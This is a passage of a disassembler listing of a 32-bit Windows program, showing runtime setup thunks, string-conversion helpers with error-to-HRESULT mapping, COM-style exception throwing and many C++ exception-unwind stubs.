sub_4117FA endp
; =============== S U B R O U T I N E =======================================
sub_411800 proc near ; CODE XREF: HSho:loc_41170Dp
push 30000h
push 10000h
call sub_41181C ; _controlfp
pop ecx
pop ecx
retn
sub_411800 endp
; =============== S U B R O U T I N E =======================================
sub_411812 proc near ; DATA XREF: HSho:00411701o
xor eax, eax
retn
sub_411812 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411816 proc near ; DATA XREF: HSho:00411694o
jmp dword_413250
sub_411816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41181C proc near ; CODE XREF: sub_411800+Ap
jmp dword_413258
sub_41181C endp
; =============== S U B R O U T I N E =======================================
sub_411822 proc near ; CODE XREF: sub_403488+4Bp
; sub_403488+A4p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_411A14
retn 4
sub_411822 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411830 proc near ; CODE XREF: sub_40430D+20p
; sub_4043E6+20p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_411882
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_417BD8
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_411882
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_411882
lea eax, [ebp+var_4]
push eax
push 0
call dword_41327C
test eax, eax
jz short loc_411882
and [ebp+var_4], 0
loc_411882: ; CODE XREF: sub_411830+Dj
; sub_411830+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_411A14
leave
retn 0Ch
sub_411830 endp
; =============== S U B R O U T I N E =======================================
sub_411891 proc near ; DATA XREF: HSho:00417008o
; FUNCTION CHUNK AT 004118AD SIZE 0000000C BYTES
call sub_41189B
jmp loc_4118AD
sub_411891 endp
; =============== S U B R O U T I N E =======================================
sub_41189B proc near ; CODE XREF: sub_411891p
push 0Ah
push 80020004h
mov ecx, offset dword_41BCF8
call sub_4119B8
retn
sub_41189B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_411891
loc_4118AD: ; CODE XREF: sub_411891+5j
push offset sub_4118B9
call sub_411672
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_411891
; =============== S U B R O U T I N E =======================================
sub_4118B9 proc near ; DATA XREF: sub_411891:loc_4118ADo
push offset dword_41BCF8
call dword_413264
test eax, eax
jge short locret_4118CE
push eax
call sub_411822
locret_4118CE: ; CODE XREF: sub_4118B9+Dj
retn
sub_4118B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118CF proc near ; CODE XREF: sub_4041E3+12p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
push esi
push edi
jnz short loc_4118DE
xor eax, eax
jmp short loc_41193B
; ---------------------------------------------------------------------------
loc_4118DE: ; CODE XREF: sub_4118CF+9j
push [ebp+arg_0]
call dword_4130BC ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_4115D0
mov edi, esp
push esi
push edi
push 0FFFFFFFFh
push [ebp+arg_0]
and word ptr [edi], 0
push 0
push 0
call dword_413068 ; MultiByteToWideChar
test eax, eax
jnz short loc_411934
mov esi, dword_413028
call esi ; RtlGetLastWin32Error
test eax, eax
jz short loc_41192C
call esi ; RtlGetLastWin32Error
and eax, 0FFFFh
or eax, 80070000h
jmp short loc_41192E
; ---------------------------------------------------------------------------
loc_41192C: ; CODE XREF: sub_4118CF+4Dj
xor eax, eax
loc_41192E: ; CODE XREF: sub_4118CF+5Bj
push eax
call sub_411822
loc_411934: ; CODE XREF: sub_4118CF+41j
push edi
call dword_413280
loc_41193B: ; CODE XREF: sub_4118CF+Dj
lea esp, [ebp-8]
pop edi
pop esi
pop ebp
retn 4
sub_4118CF endp
; =============== S U B R O U T I N E =======================================
sub_411944 proc near ; CODE XREF: sub_404243+Bp
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
xor ebx, ebx
cmp ebp, ebx
jnz short loc_411954
xor eax, eax
jmp short loc_4119B3
; ---------------------------------------------------------------------------
loc_411954: ; CODE XREF: sub_411944+Aj
push esi
push edi
push ebp
call sub_411A66 ; wcslen
lea edi, [eax+eax+2]
push edi
call sub_4114F4
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jnz short loc_411978
push 8007000Eh
call sub_411822
loc_411978: ; CODE XREF: sub_411944+28j
push ebx
push ebx
push edi
push esi
push 0FFFFFFFFh
push ebp
push ebx
push ebx
mov [esi], bl
call dword_413064 ; WideCharToMultiByte
test eax, eax
jnz short loc_4119AF
mov edi, dword_413028
call edi ; RtlGetLastWin32Error
test eax, eax
jz short loc_4119A7
call edi ; RtlGetLastWin32Error
and eax, 0FFFFh
or eax, 80070000h
jmp short loc_4119A9
; ---------------------------------------------------------------------------
loc_4119A7: ; CODE XREF: sub_411944+53j
xor eax, eax
loc_4119A9: ; CODE XREF: sub_411944+61j
push eax
call sub_411822
loc_4119AF: ; CODE XREF: sub_411944+47j
mov eax, esi
pop edi
pop esi
loc_4119B3: ; CODE XREF: sub_411944+Ej
pop ebp
pop ebx
retn 4
sub_411944 endp
; =============== S U B R O U T I N E =======================================
sub_4119B8 proc near ; CODE XREF: sub_41189B+Cp
arg_0 = dword ptr 4
arg_4 = word ptr 8
push esi
push edi
mov di, [esp+8+arg_4]
mov esi, ecx
cmp di, 3
jz short loc_4119DD
cmp di, 0Ah
jz short loc_4119E3
cmp di, 0Bh
jz short loc_4119DD
push 80070057h
call sub_411822
loc_4119DD: ; CODE XREF: sub_4119B8+Dj
; sub_4119B8+19j
cmp di, 0Ah
jnz short loc_4119EA
loc_4119E3: ; CODE XREF: sub_4119B8+13j
mov word ptr [esi], 0Ah
jmp short loc_411A06
; ---------------------------------------------------------------------------
loc_4119EA: ; CODE XREF: sub_4119B8+29j
cmp di, 0Bh
jnz short loc_411A01
mov eax, [esp+8+arg_0]
mov [esi], di
neg eax
sbb eax, eax
mov [esi+8], ax
jmp short loc_411A0D
; ---------------------------------------------------------------------------
loc_411A01: ; CODE XREF: sub_4119B8+36j
mov word ptr [esi], 3
loc_411A06: ; CODE XREF: sub_4119B8+30j
mov eax, [esp+8+arg_0]
mov [esi+8], eax
loc_411A0D: ; CODE XREF: sub_4119B8+47j
mov eax, esi
pop edi
pop esi
retn 8
sub_4119B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A14 proc near ; CODE XREF: sub_411822+6p
; sub_411830+58p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099B0
lea eax, [ebp+var_10]
push offset dword_415E10
push eax
call sub_4115BC ; _CxxThrowException
mov eax, [esp+18h+var_14]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_414AE8
jz short loc_411A5F
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_411A5F: ; CODE XREF: sub_411A14+43j
mov eax, esi
pop esi
retn 4
sub_411A14 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411A66 proc near ; CODE XREF: sub_411944+13p
jmp dword_4131E8
sub_411A66 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_401109 proc near ; DATA XREF: sub_401109+5o
mov eax, offset dword_414B80
jmp sub_41156C
SEH_401109 endp
; =============== S U B R O U T I N E =======================================
sub_411A7A proc near ; DATA XREF: HSho:004011C7o
mov eax, offset dword_414BD8
jmp sub_41156C
sub_411A7A endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-70h]
call dword_413150
retn
; ---------------------------------------------------------------------------
loc_411A8E: ; DATA XREF: HSho:00401280o
mov eax, offset dword_414C30
jmp sub_41156C
; =============== S U B R O U T I N E =======================================
SEH_40146A proc near ; DATA XREF: sub_40146A+5o
mov eax, offset dword_414C90
jmp sub_41156C
SEH_40146A endp
; =============== S U B R O U T I N E =======================================
sub_411AA2 proc near ; DATA XREF: HSho:004015ECo
mov eax, offset dword_414CE8
jmp sub_41156C
sub_411AA2 endp
; =============== S U B R O U T I N E =======================================
sub_411AAC proc near ; DATA XREF: HSho:00401832o
mov eax, offset dword_414D40
jmp sub_41156C
sub_411AAC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_401C92 proc near ; DATA XREF: sub_401C92+5o
mov eax, offset dword_414DD0
jmp sub_41156C
SEH_401C92 endp
; ---------------------------------------------------------------------------
lea ecx, [ebp+0Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-30h]
and eax, 1
test eax, eax
jz locret_411AFB
mov ecx, [ebp+8]
call sub_411512
locret_411AFB: ; CODE XREF: HSho:00411AEDj
retn
; ---------------------------------------------------------------------------
loc_411AFC: ; DATA XREF: HSho:00402510o
mov eax, offset dword_414E28
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411B10: ; DATA XREF: HSho:00414E94o
mov ecx, [ebp-1Ch]
add ecx, 4
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 8
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 10h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 14h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 1Ch
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 20h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 24h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 202Ch
jmp sub_4026C7
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411B7B: ; DATA XREF: sub_402A1Eo
mov eax, offset dword_414E68
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411B90: ; DATA XREF: HSho:00414F0Co
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 14h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1Ch
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 20h
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 24h
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411BDD: ; DATA XREF: sub_402BB1o
mov eax, offset dword_414EE0
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_411BE8: ; DATA XREF: sub_402EC9o
mov eax, offset dword_414F40
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_411BF4: ; DATA XREF: HSho:00414FC4o
lea ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_411C1A
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_411C1A: ; CODE XREF: HSho:00411C0Cj
retn
; ---------------------------------------------------------------------------
loc_411C1B: ; DATA XREF: sub_402FAFo
mov eax, offset dword_414F98
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_411C28: ; DATA XREF: HSho:00414FFCo
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_411C56
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_411C56: ; CODE XREF: HSho:00411C48j
retn
; ---------------------------------------------------------------------------
loc_411C57: ; DATA XREF: sub_4030F7o
mov eax, offset dword_414FD0
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_406293
; ---------------------------------------------------------------------------
loc_411C6C: ; DATA XREF: HSho:0041503Co
lea ecx, [ebp-14h]
jmp sub_406293
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C0h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D0h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
mov ecx, [ebp-0C8h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C4h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-140h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-120h]
jmp sub_4064C6
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_406293
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_406293
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A4h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0ACh]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D8h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D4h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0BCh]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E0h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-48h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-68h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-78h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-88h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-98h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A8h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
loc_411D9D: ; DATA XREF: sub_403488o
mov eax, offset dword_415010
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
push dword ptr [ebp-10h]
call sub_4114EE
pop ecx
retn
; ---------------------------------------------------------------------------
loc_411DB2: ; DATA XREF: sub_404151o
mov eax, offset dword_415130
jmp sub_41156C
; ---------------------------------------------------------------------------
push dword ptr [ebp-10h]
call sub_4114EE
pop ecx
retn
; ---------------------------------------------------------------------------
loc_411DC6: ; DATA XREF: sub_404347o
mov eax, offset dword_415158
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
jmp sub_406293
; ---------------------------------------------------------------------------
loc_411DD8: ; DATA XREF: HSho:004151ACo
lea ecx, [ebp-10h]
jmp sub_406293
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_4041A5
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_406293
; ---------------------------------------------------------------------------
loc_411DF0: ; DATA XREF: sub_404484o
mov eax, offset dword_415180
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411E04: ; DATA XREF: HSho:004151ECo
lea ecx, [ebp-38h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-98h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-78h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
loc_411E6F: ; DATA XREF: sub_404605o
mov eax, offset dword_4151C0
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411E84: ; DATA XREF: HSho:0041527Co
push dword ptr [ebp-14h]
call sub_4114EE
pop ecx
retn
; ---------------------------------------------------------------------------
loc_411E8E: ; DATA XREF: sub_404AAEo
mov eax, offset dword_415250
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411EA0: ; DATA XREF: HSho:004152ACo
lea ecx, [ebp-28h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A4h]
jmp sub_4064C6
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-58h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C4h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411EE9: ; DATA XREF: sub_404B40o
mov eax, offset dword_415280
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+0Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411EFC: ; DATA XREF: HSho:00415314o
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-44h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411F44: ; DATA XREF: sub_405150o
mov eax, offset dword_4152E8
jmp sub_41156C
; ---------------------------------------------------------------------------
align 10h
loc_411F50: ; DATA XREF: HSho:00415384o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_411F8E
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_411F8E: ; CODE XREF: HSho:00411F80j
retn
; ---------------------------------------------------------------------------
loc_411F8F: ; DATA XREF: sub_405327o
mov eax, offset dword_415358
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_411FA4: ; DATA XREF: HSho:004153D4o
lea ecx, [ebp-34h]
jmp sub_4064C6
; ---------------------------------------------------------------------------
loc_411FAC: ; DATA XREF: sub_40543Fo
mov eax, offset dword_4153A8
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_411FB8: ; DATA XREF: HSho:00415404o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_411FF6
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_411FF6: ; CODE XREF: HSho:00411FE8j
retn
; ---------------------------------------------------------------------------
loc_411FF7: ; DATA XREF: sub_40558Co
mov eax, offset dword_4153D8
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_412004: ; DATA XREF: HSho:00415454o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_412042
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_412042: ; CODE XREF: HSho:00412034j
retn
; ---------------------------------------------------------------------------
loc_412043: ; DATA XREF: sub_405693o
mov eax, offset dword_415428
jmp sub_41156C
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_412058: ; DATA XREF: HSho:004154A4o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_412090: ; DATA XREF: sub_4057ABo
mov eax, offset dword_415478
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_4120A4: ; DATA XREF: HSho:00415504o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_4120CC: ; DATA XREF: sub_40592Bo
mov eax, offset dword_4154D8
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_4120D8: ; DATA XREF: HSho:00415554o
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_412116
mov ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
locret_412116: ; CODE XREF: HSho:00412108j
retn
; ---------------------------------------------------------------------------
loc_412117: ; DATA XREF: sub_405A64o
mov eax, offset dword_415528
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_41212C: ; DATA XREF: HSho:004155A4o
lea ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_41213C: ; DATA XREF: sub_405B91o
mov eax, offset dword_415578
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_412150: ; DATA XREF: HSho:004155DCo
lea ecx, [ebp-14h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-74h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
mov ecx, [ebp-30h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_4068AF
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_411512
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp sub_411512
; ---------------------------------------------------------------------------
loc_4121D0: ; DATA XREF: sub_405E1Fo
mov eax, offset dword_4155B0
jmp sub_41156C
; ---------------------------------------------------------------------------
align 4
loc_4121DC: ; DATA XREF: sub_406208o
mov eax, offset dword_415678
jmp sub_41156C
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_408020
retn
; ---------------------------------------------------------------------------
loc_4121F9: ; DATA XREF: HSho:004062F5o
mov eax, offset dword_4156D0
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_41220C: ; DATA XREF: HSho:00415724o
mov ecx, [ebp-18h]
call sub_408020
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
call sub_411512
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
call sub_411512
retn
; =============== S U B R O U T I N E =======================================
SEH_406374 proc near ; DATA XREF: sub_406374+5o
mov eax, offset dword_4156F8
jmp sub_41156C
SEH_406374 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
call sub_408020
retn
; ---------------------------------------------------------------------------
loc_41223A: ; DATA XREF: HSho:00415764o
mov ecx, [ebp-10h]
add ecx, 10h
call sub_411512
retn
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 14h
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_412252: ; DATA XREF: HSho:00406672o
mov eax, offset dword_415738
jmp sub_41156C
; ---------------------------------------------------------------------------
lea ecx, [ebp+0Ch]
call sub_411512
retn
; ---------------------------------------------------------------------------
loc_412265: ; DATA XREF: HSho:0041579Co
lea ecx, [ebp+8]
call sub_411512
